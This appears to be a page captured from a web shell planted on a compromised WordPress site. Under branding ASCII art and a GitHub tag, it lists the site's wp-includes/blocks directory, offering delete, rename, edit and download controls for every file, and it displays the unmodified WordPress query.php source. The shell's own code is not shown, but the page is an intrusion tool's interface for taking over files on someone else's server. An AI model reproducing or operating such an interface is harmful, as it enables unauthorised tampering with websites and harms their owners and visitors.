⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⢠⣴⣿⣿⣿⣷⣼⣿⠀⣴⠾⠷⠶⠦⡄⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢠⡤⢶⣦⣾⣿⣿⣿⣿⣿⣿⣿⠀⣿⣶⣶⣦⣄⠳⣤⣤⠄⠀⠀⠀ ⠀⠀⠀⢀⣼⣳⡿⢻⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣗⠈⠙⠻⣶⣄⡀⠀⠀⠀ ⠀⠀⠀⣰⠿⠁⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠈⠳⣤⠀⠀ ⠀⠀⢀⡟⠀⢰⣿⠟⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⠉⠁⠈⠻⣶⣄⠀⠀⠈⠛⢦ www.github.com/caterscam ⠀⣀⡼⠃⠀⣼⡟⠀⠀⢸⣿⡿⠉⣿⡿⠿⠛⣿⡄⠀⠀⠀⠙⠿⣆⠀⠀⠀⠈ ⠈⠁⠀⠀⢸⡟⠀⠀⠀⢸⣿⠀⠀⣿⠁⠀⠀⠈⠃⠀⠀⠀⠀⠀⠘⢷⡄⠀⠀ ⠀⠀⠀⠀⣼⠃⠀⠀⠀⢸⡟⠀⠀⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⡆⠀ ⠀⠀⠀⣠⡏⠀⠀⠀⠀⣼⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠻⠃⠀⠀⠀⠀⣻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ Current Dir: /dom834884/wp-includes/blocks/ [DIR] archives [ delete | rename ] [DIR] audio [ delete | rename ] [DIR] avatar [ delete | rename ] [DIR] block [ delete | rename ] [DIR] button [ delete | rename ] [DIR] buttons [ delete | rename ] [DIR] calendar [ delete | rename ] [DIR] categories [ delete | rename ] [DIR] code [ delete | rename ] [DIR] column [ delete | rename ] [DIR] columns [ delete | rename ] [DIR] comment-author-name [ delete | rename ] [DIR] comment-content [ delete | rename ] [DIR] comment-date [ delete | rename ] [DIR] comment-edit-link [ delete | rename ] [DIR] comment-reply-link [ delete | rename ] [DIR] comment-template [ delete | rename ] [DIR] comments [ delete | rename ] [DIR] comments-pagination [ delete | rename ] [DIR] comments-pagination-next [ delete | rename ] [DIR] comments-pagination-numbers [ delete | rename ] [DIR] comments-pagination-previous [ delete | rename ] [DIR] comments-title [ delete | rename ] [DIR] cover [ delete | rename ] [DIR] details [ delete | rename ] [DIR] embed [ delete | rename ] [DIR] file [ delete | rename ] [DIR] footnotes [ delete | rename ] [DIR] freeform [ delete | rename ] [DIR] gallery [ delete | rename ] [DIR] group [ delete | rename ] [DIR] heading [ delete | rename ] [DIR] home-link [ delete | rename ] [DIR] html [ delete | rename ] [DIR] image [ delete | rename ] [DIR] latest-comments [ delete | rename ] [DIR] latest-posts [ delete | rename ] [DIR] legacy-widget [ delete | rename ] [DIR] list [ delete | rename ] [DIR] list-item [ delete | rename ] [DIR] loginout [ delete | rename ] [DIR] media-text [ delete | rename ] [DIR] missing [ delete | rename ] [DIR] more [ delete | rename ] [DIR] navigation [ delete | rename ] [DIR] navigation-link [ delete | rename ] [DIR] navigation-submenu [ delete | rename ] [DIR] nextpage [ delete | rename ] [DIR] page-list [ delete | rename ] [DIR] page-list-item [ delete | rename ] [DIR] paragraph [ delete | rename ] [DIR] pattern [ delete | rename ] [DIR] post-author [ delete | rename ] [DIR] post-author-biography [ delete | rename ] [DIR] post-author-name [ delete | rename ] [DIR] post-comments-form [ delete | rename ] [DIR] post-content [ delete | rename ] [DIR] post-date [ delete | rename ] [DIR] post-excerpt [ delete | rename ] [DIR] post-featured-image [ delete | rename ] [DIR] post-navigation-link [ delete | rename ] [DIR] post-template [ delete | rename ] [DIR] post-terms [ delete | rename ] [DIR] post-title [ delete | rename ] [DIR] preformatted [ delete | rename ] [DIR] pullquote [ delete | rename ] [DIR] query [ delete | rename ] [DIR] query-no-results [ delete | rename ] [DIR] query-pagination [ delete | rename ] [DIR] query-pagination-next [ delete | rename ] [DIR] query-pagination-numbers [ delete | rename ] [DIR] query-pagination-previous [ delete | rename ] [DIR] query-title [ delete | rename ] [DIR] query-total [ delete | rename ] [DIR] quote [ delete | rename ] [DIR] read-more [ delete | rename ] [DIR] rss [ delete | rename ] [DIR] search [ delete | rename ] [DIR] separator [ delete | rename ] [DIR] shortcode [ delete | rename ] [DIR] site-logo [ delete | rename ] [DIR] site-tagline [ delete | rename ] [DIR] site-title [ delete | rename ] [DIR] social-link [ delete | rename ] [DIR] social-links [ delete | rename ] [DIR] spacer [ delete | rename ] [DIR] table [ delete | rename ] [DIR] tag-cloud [ delete | rename ] [DIR] template-part [ delete | rename ] [DIR] term-description [ delete | rename ] [DIR] text-columns [ delete | rename ] [DIR] verse [ delete | rename ] [DIR] video [ delete | rename ] [DIR] widget-group [ delete | rename ] [FILE] archives.php [ edit | delete | rename | download ] [FILE] avatar.php [ edit | delete | rename | download ] [FILE] block.php [ edit | delete | rename | download ] [FILE] blocks-json.php [ edit | delete | rename | download ] [FILE] button.php [ edit | delete | rename | download ] [FILE] calendar.php [ edit | delete | rename | download ] [FILE] categories.php [ edit | delete | rename | download ] [FILE] comment-author-name.php [ edit | delete | rename | download ] [FILE] comment-content.php [ edit | delete | rename | download ] [FILE] comment-date.php [ edit | delete | rename | download ] [FILE] comment-edit-link.php [ edit | delete | rename | download ] [FILE] comment-reply-link.php [ edit | delete | rename | download ] [FILE] comment-template.php [ edit | delete | rename | download ] [FILE] comments-pagination-next.php [ edit | delete | rename | download ] [FILE] comments-pagination-numbers.php [ edit | delete | rename | download ] [FILE] comments-pagination-previous.php [ edit | delete | rename | download ] [FILE] comments-pagination.php [ edit | delete | rename | download ] [FILE] comments-title.php [ edit | delete | rename | download ] [FILE] comments.php [ edit | delete | rename | download ] [FILE] cover.php [ edit | delete | rename | download ] [FILE] file.php [ edit | delete | rename | download ] [FILE] footnotes.php [ edit | delete | rename | download ] [FILE] gallery.php [ edit | delete | rename | download ] [FILE] heading.php [ edit | delete | rename | download ] [FILE] home-link.php [ edit | delete | rename | download ] [FILE] image.php [ edit | delete | rename | download ] [FILE] index.php [ edit | delete | rename | download ] [FILE] latest-comments.php [ edit | delete | rename | download ] [FILE] latest-posts.php [ edit | delete | rename | download ] [FILE] legacy-widget.php [ edit | delete | rename | download ] [FILE] list.php [ edit | delete | rename | download ] [FILE] loginout.php [ edit | delete | rename | download ] [FILE] media-text.php [ edit | delete | rename | download ] [FILE] navigation-link.php [ edit | delete | rename | download ] [FILE] navigation-submenu.php [ edit | delete | rename | download ] [FILE] navigation.php [ edit | delete | rename | download ] [FILE] page-list-item.php [ edit | delete | rename | download ] [FILE] page-list.php [ edit | delete | rename | download ] [FILE] pattern.php [ edit | delete | rename | download ] [FILE] post-author-biography.php [ edit | delete | rename | download ] [FILE] post-author-name.php [ edit | delete | rename | download ] [FILE] post-author.php [ edit | delete | rename | download ] [FILE] post-comments-form.php [ edit | delete | rename | download ] [FILE] post-content.php [ edit | delete | rename | download ] [FILE] post-date.php [ edit | delete | rename | download ] [FILE] post-excerpt.php [ edit | delete | rename | download ] [FILE] post-featured-image.php [ edit | delete | rename | download ] [FILE] post-navigation-link.php [ edit | delete | rename | download ] [FILE] post-template.php [ edit | delete | rename | download ] [FILE] post-terms.php [ edit | delete | rename | download ] [FILE] post-title.php [ edit | delete | rename | download ] [FILE] query-no-results.php [ edit | delete | rename | download ] [FILE] query-pagination-next.php [ edit | delete | rename | download ] [FILE] query-pagination-numbers.php [ edit | delete | rename | download ] [FILE] query-pagination-previous.php [ edit | delete | rename | download ] [FILE] query-pagination.php [ edit | delete | rename | download ] [FILE] query-title.php [ edit | delete | rename | download ] [FILE] query-total.php [ edit | delete | rename | download ] [FILE] query.php [ edit | delete | rename | download ] [FILE] read-more.php [ edit | delete | rename | download ] [FILE] require-dynamic-blocks.php [ edit | delete | rename | download ] [FILE] require-static-blocks.php [ edit | delete | rename | download ] [FILE] rss.php [ edit | delete | rename | download ] [FILE] search.php [ edit | delete | rename | download ] [FILE] shortcode.php [ edit | delete | rename | download ] [FILE] site-logo.php [ edit | delete | rename | download ] [FILE] site-tagline.php [ edit | delete | rename | download ] [FILE] site-title.php [ edit | delete | rename | download ] [FILE] social-link.php [ edit | delete | rename | download ] [FILE] tag-cloud.php [ edit | delete | rename | download ] [FILE] template-part.php [ edit | delete | rename | download ] [FILE] term-description.php [ edit | delete | rename | download ] [FILE] widget-group.php [ edit | delete | rename | download ] Viewing: /dom834884/wp-includes/blocks/query.php <?php /** * Server-side rendering of the `core/query` block. * * @package WordPress */ /** * Modifies the static `core/query` block on the server. * * @since 6.4.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block The block instance. * * @return string Returns the modified output of the query block. */ function render_block_core_query( $attributes, $content, $block ) { $is_interactive = isset( $attributes['enhancedPagination'] ) && true === $attributes['enhancedPagination'] && isset( $attributes['queryId'] ); // Enqueue the script module and add the necessary directives if the block is // interactive. if ( $is_interactive ) { wp_enqueue_script_module( '@wordpress/block-library/query/view' ); $p = new WP_HTML_Tag_Processor( $content ); if ( $p->next_tag() ) { // Add the necessary directives. $p->set_attribute( 'data-wp-interactive', 'core/query' ); $p->set_attribute( 'data-wp-router-region', 'query-' . $attributes['queryId'] ); $p->set_attribute( 'data-wp-context', '{}' ); $p->set_attribute( 'data-wp-key', $attributes['queryId'] ); $content = $p->get_updated_html(); } } // Add the styles to the block type if the block is interactive and remove // them if it's not. $style_asset = 'wp-block-query'; if ( ! wp_style_is( $style_asset ) ) { $style_handles = $block->block_type->style_handles; // If the styles are not needed, and they are still in the `style_handles`, remove them. if ( ! $is_interactive && in_array( $style_asset, $style_handles, true ) ) { $block->block_type->style_handles = array_diff( $style_handles, array( $style_asset ) ); } // If the styles are needed, but they were previously removed, add them again. if ( $is_interactive && ! in_array( $style_asset, $style_handles, true ) ) { $block->block_type->style_handles = array_merge( $style_handles, array( $style_asset ) ); } } return $content; } /** * Registers the `core/query` block on the server. * * @since 5.8.0 */ function register_block_core_query() { register_block_type_from_metadata( __DIR__ . '/query', array( 'render_callback' => 'render_block_core_query', ) ); } add_action( 'init', 'register_block_core_query' ); /** * Traverse the tree of blocks looking for any plugin block (i.e., a block from * an installed plugin) inside a Query block with the enhanced pagination * enabled. If at least one is found, the enhanced pagination is effectively * disabled to prevent any potential incompatibilities. * * @since 6.4.0 * * @param array $parsed_block The block being rendered. * @return array Returns the parsed block, unmodified. */ function block_core_query_disable_enhanced_pagination( $parsed_block ) { static $enhanced_query_stack = array(); static $dirty_enhanced_queries = array(); static $render_query_callback = null; $block_name = $parsed_block['blockName']; $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block_name ); $has_enhanced_pagination = isset( $parsed_block['attrs']['enhancedPagination'] ) && true === $parsed_block['attrs']['enhancedPagination'] && isset( $parsed_block['attrs']['queryId'] ); /* * Client side navigation can be true in two states: * - supports.interactivity = true; * - supports.interactivity.clientNavigation = true; */ $supports_client_navigation = ( isset( $block_type->supports['interactivity']['clientNavigation'] ) && true === $block_type->supports['interactivity']['clientNavigation'] ) || ( isset( $block_type->supports['interactivity'] ) && true === $block_type->supports['interactivity'] ); if ( 'core/query' === $block_name && $has_enhanced_pagination ) { $enhanced_query_stack[] = $parsed_block['attrs']['queryId']; if ( ! isset( $render_query_callback ) ) { /** * Filter that disables the enhanced pagination feature during block * rendering when a plugin block has been found inside. It does so * by adding an attribute called `data-wp-navigation-disabled` which * is later handled by the front-end logic. * * @param string $content The block content. * @param array $block The full block, including name and attributes. * @return string Returns the modified output of the query block. */ $render_query_callback = static function ( $content, $block ) use ( &$enhanced_query_stack, &$dirty_enhanced_queries, &$render_query_callback ) { $has_enhanced_pagination = isset( $block['attrs']['enhancedPagination'] ) && true === $block['attrs']['enhancedPagination'] && isset( $block['attrs']['queryId'] ); if ( ! $has_enhanced_pagination ) { return $content; } if ( isset( $dirty_enhanced_queries[ $block['attrs']['queryId'] ] ) ) { // Disable navigation in the router store config. wp_interactivity_config( 'core/router', array( 'clientNavigationDisabled' => true ) ); $dirty_enhanced_queries[ $block['attrs']['queryId'] ] = null; } array_pop( $enhanced_query_stack ); if ( empty( $enhanced_query_stack ) ) { remove_filter( 'render_block_core/query', $render_query_callback ); $render_query_callback = null; } return $content; }; add_filter( 'render_block_core/query', $render_query_callback, 10, 2 ); } } elseif ( ! empty( $enhanced_query_stack ) && isset( $block_name ) && ( ! $supports_client_navigation ) ) { foreach ( $enhanced_query_stack as $query_id ) { $dirty_enhanced_queries[ $query_id ] = true; } } return $parsed_block; } add_filter( 'render_block_data', 'block_core_query_disable_enhanced_pagination', 10, 1 );